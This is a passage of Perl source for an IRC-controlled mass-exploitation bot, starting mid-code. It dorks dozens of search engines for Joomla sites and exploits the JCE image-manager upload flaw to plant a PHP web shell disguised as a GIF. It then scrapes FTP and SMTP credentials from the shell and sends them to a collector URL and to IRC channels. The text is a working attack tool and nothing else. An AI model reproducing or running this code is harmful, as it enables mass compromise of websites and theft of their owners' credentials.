my $num = scalar(@list);
if ($num > 0){
foreach my $site(@list){
$count++;
my $shell = "http://".$site."images/stories/arhy.php";
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my $nick = $simpan;
my $status = &jce_upload($site);&jce_upload($site);
if ($status = 1) {
my $check = &get_content($shell."?rf");
if ($check =~ /VitoShell/) {
my $safe = ""; my $os = ""; my $uid = "";
my $ftphost = ""; my $ftpuser = ""; my $ftppass = ""; my $ftpopen = "";
my $smtphost = ""; my $smtpuser = ""; my $smtppass = ""; my $smtpauth = "";
if ($check =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
if ($check =~ /Uname : (.*?)<\/b>/){$os=$1;}
if ($check =~ /uid=(.*?)gid=/){$uid=$1;}
if ($check =~ m/\$ftp_host = '(.+?)';/i){$ftphost=$1;}
if ($check =~ m/\$ftp_user = '(.+?)';/i){$ftpuser=$1;}
if ($check =~ m/\$ftp_pass = '(.+?)';/i){$ftppass=$1;}
if ($check =~ m/\$ftp_enable = '(.+?)';/i){$ftpopen=$1;}
if ($check =~ m/\$smtphost = '(.+?)';/i){$smtphost=$1;}
if ($check =~ m/\$smtpuser = '(.+?)';/i){$smtpuser=$1;}
if ($check =~ m/\$smtppass = '(.+?)';/i){$smtppass=$1;}
if ($check =~ m/\$smtpauth = '(.+?)';/i){$smtpauth=$1;}
if ($smtpauth =~ /1/) {
&get_content("".$botsaver."?x=-SMTP- Host: ".$smtphost." - Login: ".$smtpuser." - Pass: ".$smtppass."");
&msg("$chan"," [SMTP] Found on http://$site ");
&msg("$chanxxx"," [SMTP] [ host : ".$smtphost." ] [ login : ".$smtpuser." ] [ pass : ".$smtppass." ]");
}
&get_content("".$botsaver."?x=-SHELL- $shell SafeMode=$safe OS=$os uid=$uid");
&msg("$chan","$jcelogo4Send1 8Target 9TO Gay 14$nick 4<9=4> (SafeMode=$safe) (OS=$os) uid=$uid ");
&msg("$chanxxx","$jcelogo15$engine 4<9=4>9 sHeLL 4<9=4>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
if (defined($ftpuser)){
my $hozt = $site;
$hozt =~ s/\///;
&ftp($hozt,$ftpuser,$ftppass,$admin);
}
}
}
} exit;
}
if ($count == $num-1) { &msg("$chan","$jcelogo4$engine 12Finished 4for 12$dork "); }
}
}
}
sub jce_upload() {
my $success = 0;
my $url = $_[0];
$url =~ s/http:\/\///;
my $host = $url;
my $path = $url;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$path =~ s/(.*)\/[^\/]*$/\1/;
$path .= "/";
$path =~ s/([-a-zA-Z0-9\.]+)/$2/;
if ($path eq "") { $path = "/" }
$header1P = "POST ".$path."index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1";
$header1P2 = "POST ".$path."index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1";
$header2 = "Host: $host";
$header3 = "User-Agent: BOT/0.1 (BOT for JCE)";
$header4 = "Content-Type: multipart/form-data; boundary=---------------------------41184676334";
$header5 = "Content-Length: 5000";
$header6 = "-----------------------------41184676334";
$header7 = 'Content-Disposition: form-data; name="upload-dir"';
$header8 = '/';
$header9 = 'Content-Disposition: form-data; name="Filedata"; filename=""';
$header10 = 'Content-Type: application/octet-stream';
$header11 = 'Content-Disposition: form-data; name="upload-overwrite"';
$header12 = "0";
$header13 = 'Content-Disposition: form-data; name="Filedata"; filename="arhy.php.gif"';
$header14 = 'Content-Type: image/gif';
$header15 = 'GIF89aGvito';
$header16 = " ";
$header17 = 'Content-Disposition: form-data; name="upload-name"';
$header18 = 'arhy.php';
$header19 = 'Content-Disposition: form-data; name="action"';
$header20 = 'upload';
$header21 = "-----------------------------41184676334--";
$header22 = 'X-Request: JSON';
$header23 = 'Content-Type: application/x-www-form-urlencoded; charset=utf-8';
$header25 = 'json={"fn":"folderRename","args":["/arhy.php.gif","arhy.php"]}';
$header24 = "Content-Length: ".length($header25)."";
my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host" ,PeerPort=>"80") || return;
print $remote "$header1P\n$header2\n$header3\n$header4\n$header5\n\n$header6\n$header7\n\n$header8\n$header6\n$header9\n$header10\n\n\n$header6\n$header11\n\n$header12\n$header6\n$header13\n$header14\n\n$header15\n$header16\n$header6\n$header17\n\n$header18\n$header6\n$header19\n\n$header20\n$header21\n\n";
my $remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host" ,PeerPort=>"80") || return;
print $remote "$header1P2\n$header2\n$header3\n$header23\n$header22\n$header24\n\n$header25\n\n";
while ($hasil = <$remote>) {
if ($hasil =~ /200 OK/) {
$success = 1;
}
return $success;
}
}
##################################################################################
sub search_engine() {
my (@total,@clean);
my $chan = $_[0];
my $bug = $_[1];
my $dork = $_[2];
my $engine = $_[3];
my $logo = $_[4];
if ($engine eq "JacKAE") { my @jackae = &jack($dork."+site:ae",$jackae); push(@total,@jackae); }
if ($engine eq "JacKAR") { my @jackar = &jack($dork."+site:ar",$jackar); push(@total,@jackar); }
if ($engine eq "JacKAT") { my @jackat = &jack($dork."+site:at",$jackat); push(@total,@jackat); }
if ($engine eq "JacKAU") { my @jackau = &jack($dork."+site:au",$jackau); push(@total,@jackau); }
if ($engine eq "JacKBR") { my @jackbr = &jack($dork."+site:br",$jackbr); push(@total,@jackbr); }
if ($engine eq "JacKCA") { my @jackca = &jack($dork."+site:ca",$jackca); push(@total,@jackca); }
if ($engine eq "JacKCL") { my @jackcl = &jack($dork."+site:cl",$jackcl); push(@total,@jackcl); }
if ($engine eq "JacKCN") { my @jackcn = &jack($dork."+site:cn",$jackcn); push(@total,@jackcn); }
if ($engine eq "JacKCoM") { my @jackcom = &jack($dork."+site:com",$jackcom); push(@total,@jackcom); }
if ($engine eq "JacKCZ") { my @jackcz = &jack($dork."+site:cz",$jackcz); push(@total,@jackcz); }
if ($engine eq "JacKDE") { my @jackde = &jack($dork."+site:de",$jackde); push(@total,@jackde); }
if ($engine eq "JacKDK") { my @jackdk = &jack($dork."+site:dk",$jackdk); push(@total,@jackdk); }
if ($engine eq "JacKES") { my @jackes = &jack($dork."+site:es",$jackes); push(@total,@jackes); }
if ($engine eq "JacKEU") { my @jackeu = &jack($dork."+site:eu",$jackeu); push(@total,@jackeu); }
if ($engine eq "JacKFR") { my @jackfr = &jack($dork."+site:fr",$jackfr); push(@total,@jackfr); }
if ($engine eq "JacKHU") { my @jackhu = &jack($dork."+site:hu",$jackhu); push(@total,@jackhu); }
if ($engine eq "JacKID") { my @jackid = &jack($dork."+site:id",$jackid); push(@total,@jackid); }
if ($engine eq "JacKIL") { my @jackil = &jack($dork."+site:il",$jackil); push(@total,@jackil); }
if ($engine eq "JacKIN") { my @jackin = &jack($dork."+site:in",$jackin); push(@total,@jackin); }
if ($engine eq "JacKInfO") { my @jackinfo = &jack($dork."+site:info",$jackinfo); push(@total,@jackinfo); }
if ($engine eq "JacKIR") { my @jackir = &jack($dork."+site:ir",$jackir); push(@total,@jackir); }
if ($engine eq "JacKIT") { my @jackit = &jack($dork."+site:it",$jackit); push(@total,@jackit); }
if ($engine eq "JacKJP") { my @jackjp = &jack($dork."+site:jp",$jackjp); push(@total,@jackjp); }
if ($engine eq "JacKKR") { my @jackkr = &jack($dork."+site:kr",$jackkr); push(@total,@jackkr); }
if ($engine eq "JacKMX") { my @jackmx = &jack($dork."+site:mx",$jackmx); push(@total,@jackmx); }
if ($engine eq "JacKMY") { my @jackmy = &jack($dork."+site:my",$jackmy); push(@total,@jackmy); }
if ($engine eq "JacKNeT") { my @jacknet = &jack($dork."+site:net",$jacknet); push(@total,@jacknet); }
if ($engine eq "JacKNL") { my @jacknl = &jack($dork."+site:nl",$jacknl); push(@total,@jacknl); }
if ($engine eq "JacKOrG") { my @jackorg = &jack($dork."+site:org",$jackorg); push(@total,@jackorg); }
if ($engine eq "JacKPH") { my @jackph = &jack($dork."+site:ph",$jackph); push(@total,@jackph); }
if ($engine eq "JacKPL") { my @jackpl = &jack($dork."+site:pl",$jackpl); push(@total,@jackpl); }
if ($engine eq "JacKRO") { my @jackro = &jack($dork."+site:ro",$jackro); push(@total,@jackro); }
if ($engine eq "JacKRU") { my @jackru = &jack($dork."+site:ru",$jackru); push(@total,@jackru); }
if ($engine eq "JacKTH") { my @jackth = &jack($dork."+site:th",$jackth); push(@total,@jackth); }
if ($engine eq "JacKUA") { my @jackua = &jack($dork."+site:ua",$jackua); push(@total,@jackua); }
if ($engine eq "JacKUK") { my @jackuk = &jack($dork."+site:uk",$jackuk); push(@total,@jackuk); }
if ($engine eq "JacKUS") { my @jackus = &jack($dork."+site:us",$jackus); push(@total,@jackus); }
if ($engine eq "JacKSI") { my @jacksi = &jack($dork."+site:si",$jacksi); push(@total,@jacksi); }
if ($engine eq "JacKBE") { my @jackbe = &jack($dork."+site:be",$jackbe); push(@total,@jackbe); }
if ($engine eq "JacKBIZ") { my @jackbiz = &jack($dork."+site:biz",$jackbiz); push(@total,@jackbiz); }
if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
if ($engine eq "GooGLeCA") { my @googleCA = googleCA($dork); push(@total,@googleCA); }
if ($engine eq "GooGLeDE") { my @googleDE = googleDE($dork); push(@total,@googleDE); }
if ($engine eq "GooGLeUK") { my @googleUK = googleUK($dork); push(@total,@googleUK); }
if ($engine eq "GooGLeFR") { my @googleFR = googleFR($dork); push(@total,@googleFR); }
if ($engine eq "GooGLeES") { my @googleES = googleES($dork); push(@total,@googleES); }
if ($engine eq "GooGLeIT") { my @googleIT = googleIT($dork); push(@total,@googleIT); }
if ($engine eq "GooGLeNL") { my @googleNL = googleNL($dork); push(@total,@googleNL); }
if ($engine eq "GooGLeBE") { my @googleBE = googleBE($dork); push(@total,@googleBE); }
if ($engine eq "GooGLeCH") { my @googleCH = googleCH($dork); push(@total,@googleCH); }
if ($engine eq "GooGLeSE") { my @googleSE = googleSE($dork); push(@total,@googleSE); }
if ($engine eq "GooGLeDK") { my @googleDK = googleDK($dork); push(@total,@googleDK); }
if ($engine eq "GooGLeNO") { my @googleNO = googleNO($dork); push(@total,@googleNO); }
if ($engine eq "GooGLeNZ") { my @googleNZ = googleNZ($dork); push(@total,@googleNZ); }
if ($engine eq "GooGLeIE") { my @googleIE = googleIE($dork); push(@total,@googleIE); }
if ($engine eq "GooGLeBR") { my @googleBR = googleBR($dork); push(@total,@googleBR); }
if ($engine eq "GooGLeAR") { my @googleAR = googleAR($dork); push(@total,@googleAR); }
if ($engine eq "GooGLeCO") { my @googleCO = googleCO($dork); push(@total,@googleCO); }
if ($engine eq "GooGLeCU") { my @googleCU = googleCU($dork); push(@total,@googleCU); }
if ($engine eq "GooGLeCL") { my @googleCL = googleCL($dork); push(@total,@googleCL); }
if ($engine eq "GooGLeMX") { my @googleMX = googleMX($dork); push(@total,@googleMX); }
if ($engine eq "GooGLeAU") { my @googleAU = googleAU($dork); push(@total,@googleAU); }
if ($engine eq "GooGLeRU") { my @googleRU = googleRU($dork); push(@total,@googleRU); }
if ($engine eq "GooGLeAT") { my @googleAT = googleAT($dork); push(@total,@googleAT); }
if ($engine eq "GooGLePL") { my @googlePL = googlePL($dork); push(@total,@googlePL); }
if ($engine eq "GooGLeIL") { my @googleIL = googleIL($dork); push(@total,@googleIL); }
if ($engine eq "GooGLeTR") { my @googleTR = googleTR($dork); push(@total,@googleTR); }
if ($engine eq "GooGLeUA") { my @googleUA = googleUA($dork); push(@total,@googleUA); }
if ($engine eq "GooGLeGR") { my @googleGR = googleGR($dork); push(@total,@googleGR); }
if ($engine eq "GooGLeJP") { my @googleJP = googleJP($dork); push(@total,@googleJP); }
if ($engine eq "GooGLeCN") { my @googleCN = googleCN($dork); push(@total,@googleCN); }
if ($engine eq "GooGLeMY") { my @googleMY = googleMY($dork); push(@total,@googleMY); }
if ($engine eq "GooGLeTH") { my @googleTH = googleTH($dork); push(@total,@googleTH); }
if ($engine eq "GooGLeIN") { my @googleIN = googleIN($dork); push(@total,@googleIN); }
if ($engine eq "GooGLeKR") { my @googleKR = googleKR($dork); push(@total,@googleKR); }
if ($engine eq "GooGLeRO") { my @googleRO = googleRO($dork); push(@total,@googleRO); }
if ($engine eq "GooGLeTW") { my @googleTW = googleTW($dork); push(@total,@googleTW); }
if ($engine eq "GooGLeZA") { my @googleZA = googleZA($dork); push(@total,@googleZA); }
if ($engine eq "GooGLePT") { my @googlePT = googlePT($dork); push(@total,@googlePT); }
if ($engine eq "AE") { my @ae = &ae($dork); push(@total,@ae); }
if ($engine eq "AR") { my @ar = &ar($dork); push(@total,@ar); }
if ($engine eq "AT") { my @at = &at($dork); push(@total,@at); }
if ($engine eq "AU") { my @au = &au($dork); push(@total,@au); }
if ($engine eq "BR") { my @br = &br($dork); push(@total,@br); }
if ($engine eq "CA") { my @ca = &ca($dork); push(@total,@ca); }
if ($engine eq "CL") { my @cl = &cl($dork); push(@total,@cl); }
if ($engine eq "CN") { my @cn = &cn($dork); push(@total,@cn); }
if ($engine eq "CoM") { my @com = &com($dork); push(@total,@com); }
if ($engine eq "CZ") { my @cz = &cz($dork); push(@total,@cz); }
if ($engine eq "DE") { my @de = &de($dork); push(@total,@de); }
if ($engine eq "DK") { my @dk = &dk($dork); push(@total,@dk); }
if ($engine eq "ES") { my @es = &es($dork); push(@total,@es); }
if ($engine eq "EU") { my @eu = &eu($dork); push(@total,@eu); }
if ($engine eq "FR") { my @fr = &fr($dork); push(@total,@fr); }
if ($engine eq "HU") { my @hu = &hu($dork); push(@total,@hu); }
if ($engine eq "ID") { my @id = &id($dork); push(@total,@id); }
if ($engine eq "IL") { my @il = &il($dork); push(@total,@il); }
if ($engine eq "IN") { my @in = &in($dork); push(@total,@in); }
if ($engine eq "InfO") { my @info = &info($dork); push(@total,@info); }
if ($engine eq "IR") { my @ir = &ir($dork); push(@total,@ir); }
if ($engine eq "IT") { my @it = &it($dork); push(@total,@it); }
if ($engine eq "JP") { my @jp = &jp($dork); push(@total,@jp); }
if ($engine eq "KR") { my @kr = &kr($dork); push(@total,@kr); }
if ($engine eq "MX") { my @mx = &mx($dork); push(@total,@mx); }
if ($engine eq "MY") { my @my = &my($dork); push(@total,@my); }
if ($engine eq "NeT") { my @net = &net($dork); push(@total,@net); }
if ($engine eq "NL") { my @nl = &nl($dork); push(@total,@nl); }
if ($engine eq "OrG") { my @org = &org($dork); push(@total,@org); }
if ($engine eq "PH") { my @ph = &ph($dork); push(@total,@ph); }
if ($engine eq "PL") { my @pl = &pl($dork); push(@total,@pl); }
if ($engine eq "RO") { my @ro = &ro($dork); push(@total,@ro); }
if ($engine eq "RU") { my @ru = &ru($dork); push(@total,@ru); }
if ($engine eq "TH") { my @th = &th($dork); push(@total,@th); }
if ($engine eq "UA") { my @ua = &ua($dork); push(@total,@ua); }
if ($engine eq "UK") { my @uk = &uk($dork); push(@total,@uk); }
if ($engine eq "US") { my @us = &us($dork); push(@total,@us); }
if ($engine eq "SI") { my @si = &si($dork); push(@total,@si); }
if ($engine eq "BE") { my @be = &be($dork); push(@total,@be); }
if ($engine eq "BIZ") { my @biz = &biz($dork); push(@total,@biz); }
if ($engine eq "XXX") { my @xxx = &xxx($dork); push(@total,@xxx); }
if ($engine eq "TEL") { my @tel = &tel($dork); push(@total,@tel); }
if ($engine eq "TV") { my @tv = &tv($dork); push(@total,@tv); }
if ($engine eq "CC") { my @cc = &cc($dork); push(@total,@cc); }
if ($engine eq "MIL") { my @mil = &mil($dork); push(@total,@mil); }
if ($engine eq "ASIA") { my @asia = &asia($dork); push(@total,@asia); }
if ($engine eq "NAME") { my @name = &name($dork); push(@total,@name); }
if ($engine eq "PRO") { my @pro = &pro($dork); push(@total,@pro); }
if ($engine eq "TRAVEL") { my @travel = &travel($dork); push(@total,@travel); }
if ($engine eq "JOBS") { my @jobs = &jobs($dork); push(@total,@jobs); }
if ($engine eq "MOBI") { my @mobi = &mobi($dork); push(@total,@mobi); }
if ($engine eq "AERO") { my @aero = &aero($dork); push(@total,@aero); }
if ($engine eq "CAT") { my @cat = &cat($dork); push(@total,@cat); }
if ($engine eq "COOP") { my @coop = &coop($dork); push(@total,@coop); }
if ($engine eq "EDU") { my @edu = &edu($dork); push(@total,@edu); }
if ($engine eq "GOV") { my @gov = &gov($dork); push(@total,@gov); }
if ($engine eq "AS") { my @as = &as($dork); push(@total,@as); }
if ($engine eq "AI") { my @ai = &ai($dork); push(@total,@ai); }
if ($engine eq "AG") { my @ag = &ag($dork); push(@total,@ag); }
if ($engine eq "AZ") { my @az = &az($dork); push(@total,@az); }
if ($engine eq "BH") { my @bh = &bh($dork); push(@total,@bh); }
if ($engine eq "BD") { my @bd = &bd($dork); push(@total,@bd); }
if ($engine eq "BZ") { my @bz = &bz($dork); push(@total,@bz); }
if ($engine eq "BO") { my @bo = &bo($dork); push(@total,@bo); }
if ($engine eq "BA") { my @ba = &ba($dork); push(@total,@ba); }
if ($engine eq "VG") { my @vg = &vg($dork); push(@total,@vg); }
if ($engine eq "BG") { my @bg = &bg($dork); push(@total,@bg); }
if ($engine eq "BI") { my @bi = &bi($dork); push(@total,@bi); }
if ($engine eq "CO") { my @co = &co($dork); push(@total,@co); }
if ($engine eq "CD") { my @cd = &cd($dork); push(@total,@cd); }
if ($engine eq "CG") { my @cg = &cg($dork); push(@total,@cg); }
if ($engine eq "CK") { my @ck = &ck($dork); push(@total,@ck); }
if ($engine eq "CR") { my @cr = &cr($dork); push(@total,@cr); }
if ($engine eq "HR") { my @hr = &hr($dork); push(@total,@hr); }
if ($engine eq "CU") { my @cu = &cu($dork); push(@total,@cu); }
if ($engine eq "CI") { my @ci = &ci($dork); push(@total,@ci); }
if ($engine eq "DJ") { my @dj = &dj($dork); push(@total,@dj); }
if ($engine eq "DM") { my @dm = &dm($dork); push(@total,@dm); }
if ($engine eq "DO") { my @do = &do($dork); push(@total,@do); }
if ($engine eq "EC") { my @ec = &ec($dork); push(@total,@ec); }
if ($engine eq "EG") { my @eg = &eg($dork); push(@total,@eg); }
if ($engine eq "SV") { my @sv = &sv($dork); push(@total,@sv); }
if ($engine eq "EE") { my @ee = &ee($dork); push(@total,@ee); }
if ($engine eq "ET") { my @et = &et($dork); push(@total,@et); }
if ($engine eq "FJ") { my @fj = &fj($dork); push(@total,@fj); }
if ($engine eq "FI") { my @fi = &fi($dork); push(@total,@fi); }
if ($engine eq "GM") { my @gm = &gm($dork); push(@total,@gm); }
if ($engine eq "GI") { my @gi = &gi($dork); push(@total,@gi); }
if ($engine eq "GR") { my @gr = &gr($dork); push(@total,@gr); }
if ($engine eq "GL") { my @gl = &gl($dork); push(@total,@gl); }
if ($engine eq "GT") { my @gt = >($dork); push(@total,@gt); }
if ($engine eq "GG") { my @gg = &gg($dork); push(@total,@gg); }
if ($engine eq "HT") { my @ht = &ht($dork); push(@total,@ht); }
if ($engine eq "HN") { my @hn = &hn($dork); push(@total,@hn); }
if ($engine eq "HK") { my @hk = &hk($dork); push(@total,@hk); }
if ($engine eq "IS") { my @is = &is($dork); push(@total,@is); }
if ($engine eq "IE") { my @ie = &ie($dork); push(@total,@ie); }
if ($engine eq "IM") { my @im = &im($dork); push(@total,@im); }
if ($engine eq "JE") { my @je = &je($dork); push(@total,@je); }
if ($engine eq "JO") { my @jo = &jo($dork); push(@total,@jo); }
if ($engine eq "KZ") { my @kz = &kz($dork); push(@total,@kz); }
if ($engine eq "KE") { my @ke = &ke($dork); push(@total,@ke); }
if ($engine eq "KG") { my @kg = &kg($dork); push(@total,@kg); }
if ($engine eq "LV") { my @lv = &lv($dork); push(@total,@lv); }
if ($engine eq "LS") { my @ls = &ls($dork); push(@total,@ls); }
if ($engine eq "LY") { my @ly = &ly($dork); push(@total,@ly); }
if ($engine eq "LI") { my @li = &li($dork); push(@total,@li); }
if ($engine eq "LT") { my @lt = <($dork); push(@total,@lt); }
if ($engine eq "LU") { my @lu = &lu($dork); push(@total,@lu); }
if ($engine eq "MW") { my @mw = &mw($dork); push(@total,@mw); }
if ($engine eq "MT") { my @mt = &mt($dork); push(@total,@mt); }
if ($engine eq "MU") { my @mu = &mu($dork); push(@total,@mu); }
if ($engine eq "FM") { my @fm = &fm($dork); push(@total,@fm); }
if ($engine eq "MN") { my @mn = &mn($dork); push(@total,@mn); }
if ($engine eq "MS") { my @ms = &ms($dork); push(@total,@ms); }
if ($engine eq "MA") { my @ma = &ma($dork); push(@total,@ma); }
if ($engine eq "NA") { my @na = &na($dork); push(@total,@na); }
if ($engine eq "NP") { my @np = &np($dork); push(@total,@np); }
if ($engine eq "NZ") { my @nz = &nz($dork); push(@total,@nz); }
if ($engine eq "NI") { my @ni = &ni($dork); push(@total,@ni); }
if ($engine eq "NF") { my @nf = &nf($dork); push(@total,@nf); }
if ($engine eq "NO") { my @no = &no($dork); push(@total,@no); }
if ($engine eq "OM") { my @om = &om($dork); push(@total,@om); }
if ($engine eq "PK") { my @pk = &pk($dork); push(@total,@pk); }
if ($engine eq "PA") { my @pa = &pa($dork); push(@total,@pa); }
if ($engine eq "PY") { my @py = &py($dork); push(@total,@py); }
if ($engine eq "PE") { my @pe = &pe($dork); push(@total,@pe); }
if ($engine eq "PN") { my @pn = &pn($dork); push(@total,@pn); }
if ($engine eq "PT") { my @pt = &pt($dork); push(@total,@pt); }
if ($engine eq "PR") { my @pr = &pr($dork); push(@total,@pr); }
if ($engine eq "QA") { my @qa = &qa($dork); push(@total,@qa); }
if ($engine eq "RW") { my @rw = &rw($dork); push(@total,@rw); }
if ($engine eq "SH") { my @sh = &sh($dork); push(@total,@sh); }
if ($engine eq "SM") { my @sm = &sm($dork); push(@total,@sm); }
if ($engine eq "SA") { my @sa = &sa($dork); push(@total,@sa); }
if ($engine eq "SN") { my @sn = &sn($dork); push(@total,@sn); }
if ($engine eq "SC") { my @sc = &sc($dork); push(@total,@sc); }
if ($engine eq "SG") { my @sg = &sg($dork); push(@total,@sg); }
if ($engine eq "SK") { my @sk = &sk($dork); push(@total,@sk); }
if ($engine eq "ZA") { my @za = &za($dork); push(@total,@za); }
if ($engine eq "LK") { my @lk = &lk($dork); push(@total,@lk); }
if ($engine eq "VC") { my @vc = &vc($dork); push(@total,@vc); }
if ($engine eq "SE") { my @se = &se($dork); push(@total,@se); }
if ($engine eq "CH") { my @ch = &ch($dork); push(@total,@ch); }
if ($engine eq "TW") { my @tw = &tw($dork); push(@total,@tw); }
if ($engine eq "TJ") { my @tj = &tj($dork); push(@total,@tj); }
if ($engine eq "BS") { my @bs = &bs($dork); push(@total,@bs); }
if ($engine eq "TO") { my @to = &to($dork); push(@total,@to); }
if ($engine eq "TT") { my @tt = &tt($dork); push(@total,@tt); }
if ($engine eq "TR") { my @tr = &tr($dork); push(@total,@tr); }
if ($engine eq "TM") { my @tm = &tm($dork); push(@total,@tm); }
if ($engine eq "VI") { my @vi = &vi($dork); push(@total,@vi); }
if ($engine eq "UG") { my @ug = &ug($dork); push(@total,@ug); }
if ($engine eq "UY") { my @uy = &uy($dork); push(@total,@uy); }
if ($engine eq "UZ") { my @uz = &uz($dork); push(@total,@uz); }
if ($engine eq "VE") { my @ve = &ve($dork); push(@total,@ve); }
if ($engine eq "VN") { my @vn = &vn($dork); push(@total,@vn); }
if ($engine eq "ZM") { my @zm = &zm($dork); push(@total,@zm); }
if ($engine eq "ws") { my @ws = &ws($dork); push(@total,@ws); }
if ($engine eq "af") { my @af = &af($dork); push(@total,@af); }
if ($engine eq "ax") { my @ax = &ax($dork); push(@total,@ax); }
if ($engine eq "al") { my @al = &al($dork); push(@total,@al); }
if ($engine eq "dz") { my @dz = &dz($dork); push(@total,@dz); }
if ($engine eq "ao") { my @ao = &ao($dork); push(@total,@ao); }
if ($engine eq "aq") { my @aq = &aq($dork); push(@total,@aq); }
if ($engine eq "am") { my @am = &am($dork); push(@total,@am); }
if ($engine eq "aw") { my @aw = &aw($dork); push(@total,@aw); }
if ($engine eq "ac") { my @ac = &ac($dork); push(@total,@ac); }
if ($engine eq "bj") { my @bj = &bj($dork); push(@total,@bj); }
if ($engine eq "bm") { my @bm = &bm($dork); push(@total,@bm); }
if ($engine eq "bt") { my @bt = &bt($dork); push(@total,@bt); }
if ($engine eq "bw") { my @bw = &bw($dork); push(@total,@bw); }
if ($engine eq "io") { my @io = &io($dork); push(@total,@io); }
if ($engine eq "bn") { my @bn = &bn($dork); push(@total,@bn); }
if ($engine eq "bf") { my @bf = &bf($dork); push(@total,@bf); }
if ($engine eq "kh") { my @kh = &kh($dork); push(@total,@kh); }
if ($engine eq "cm") { my @cm = &cm($dork); push(@total,@cm); }
if ($engine eq "cv") { my @cv = &cv($dork); push(@total,@cv); }
if ($engine eq "ky") { my @ky = &ky($dork); push(@total,@ky); }
if ($engine eq "cf") { my @cf = &cf($dork); push(@total,@cf); }
if ($engine eq "cx") { my @cx = &cx($dork); push(@total,@cx); }
if ($engine eq "cw") { my @cw = &cw($dork); push(@total,@cw); }
if ($engine eq "cy") { my @cy = &cy($dork); push(@total,@cy); }
if ($engine eq "fk") { my @fk = &fk($dork); push(@total,@fk); }
if ($engine eq "fo") { my @fo = &fo($dork); push(@total,@fo); }
if ($engine eq "gh") { my @gh = &gh($dork); push(@total,@gh); }
if ($engine eq "gd") { my @gd = &gd($dork); push(@total,@gd); }
if ($engine eq "gp") { my @gp = &gp($dork); push(@total,@gp); }
if ($engine eq "gu") { my @gu = &gu($dork); push(@total,@gu); }
if ($engine eq "gn") { my @gn = &gn($dork); push(@total,@gn); }
if ($engine eq "gy") { my @gy = &gy($dork); push(@total,@gy); }
if ($engine eq "hm") { my @hm = &hm($dork); push(@total,@hm); }
if ($engine eq "iq") { my @iq = &iq($dork); push(@total,@iq); }
if ($engine eq "jm") { my @jm = &jm($dork); push(@total,@jm); }
if ($engine eq "ki") { my @ki = &ki($dork); push(@total,@ki); }
if ($engine eq "kw") { my @kw = &kw($dork); push(@total,@kw); }
if ($engine eq "la") { my @la = &la($dork); push(@total,@la); }
if ($engine eq "lb") { my @lb = &lb($dork); push(@total,@lb); }
if ($engine eq "lr") { my @lr = &lr($dork); push(@total,@lr); }
if ($engine eq "mo") { my @mo = &mo($dork); push(@total,@mo); }
if ($engine eq "mg") { my @mg = &mg($dork); push(@total,@mg); }
if ($engine eq "mv") { my @mv = &mv($dork); push(@total,@mv); }
if ($engine eq "mp") { my @mp = &mp($dork); push(@total,@mp); }
if ($engine eq "mq") { my @mq = &mq($dork); push(@total,@mq); }
if ($engine eq "mr") { my @mr = &mr($dork); push(@total,@mr); }
if ($engine eq "yt") { my @yt = &yt($dork); push(@total,@yt); }
if ($engine eq "md") { my @md = &md($dork); push(@total,@md); }
if ($engine eq "mc") { my @mc = &mc($dork); push(@total,@mc); }
if ($engine eq "me") { my @me = &me($dork); push(@total,@me); }
if ($engine eq "mz") { my @mz = &mz($dork); push(@total,@mz); }
if ($engine eq "nr") { my @nr = &nr($dor); push(@total,@nr); }
if ($engine eq "nc") { my @nc = &nc($dork); push(@total,@nc); }
if ($engine eq "ng") { my @ng = &ng($dork); push(@total,@ng); }
if ($engine eq "nu") { my @nu = &nu($dork); push(@total,@nu); }
if ($engine eq "pw") { my @pw = &pw($dork); push(@total,@pw); }
if ($engine eq "ps") { my @ps = &ps($dork); push(@total,@ps); }
if ($engine eq "cq") { my @cq = &cq($dork); push(@total,@cq); }
if ($engine eq "re") { my @re = &re($dork); push(@total,@re); }
if ($engine eq "lc") { my @lc = &lc($dork); push(@total,@lc); }
if ($engine eq "pm") { my @pm = &pm($dork); push(@total,@pm); }
if ($engine eq "st") { my @st = &st($dork); push(@total,@st); }
if ($engine eq "rs") { my @rs = &rs($dork); push(@total,@rs); }
if ($engine eq "gs") { my @gs = &gs($dork); push(@total,@gs); }
if ($engine eq "sl") { my @sl = &sl($dork); push(@total,@sl); }
if ($engine eq "sx") { my @sx = &sx($dork); push(@total,@sx); }
if ($engine eq "sb") { my @sb = &sb($dork); push(@total,@sb); }
if ($engine eq "so") { my @so = &so($dork); push(@total,@so); }
if ($engine eq "su") { my @su = &su($dork); push(@total,@su); }
if ($engine eq "kn") { my @kn = &kn($dork); push(@total,@kn); }
if ($engine eq "sr") { my @sr = &sr($dork); push(@total,@sr); }
if ($engine eq "tz") { my @tz = &tz($dork); push(@total,@tz); }
if ($engine eq "tl") { my @tl = &tl($dork); push(@total,@tl); }
if ($engine eq "tg") { my @tg = &tg($dork); push(@total,@tg); }
if ($engine eq "tk") { my @tk = &tk($dork); push(@total,@tk); }
if ($engine eq "tn") { my @tn = &tn($dork); push(@total,@tn); }
if ($engine eq "tc") { my @tc = &tc($dork); push(@total,@tc); }
if ($engine eq "vu") { my @vu = &vu($dork); push(@total,@vu); }
if ($engine eq "wf") { my @wf = &wf($dork); push(@total,@wf); }
if ($engine eq "ws") { my @ws = &ws($dork); push(@total,@ws); }
if ($engine eq "ye") { my @ye = &ye($dork); push(@total,@ye); }
if ($engine eq "zw") { my @zw = &zw($dork); push(@total,@zw); }
if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
if ($engine eq "YaHoo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
if ($engine eq "YahOoCA") { my @yahooCA = yahooCA($dork); push(@total,@yahooCA); }
if ($engine eq "YahOoUK") { my @yahooUK = yahooUK($dork); push(@total,@yahooUK); }
if ($engine eq "YahOoDE") { my @yahooDE = yahooDE($dork); push(@total,@yahooDE); }
if ($engine eq "YahOoFR") { my @yahooFR = yahooFR($dork); push(@total,@yahooFR); }
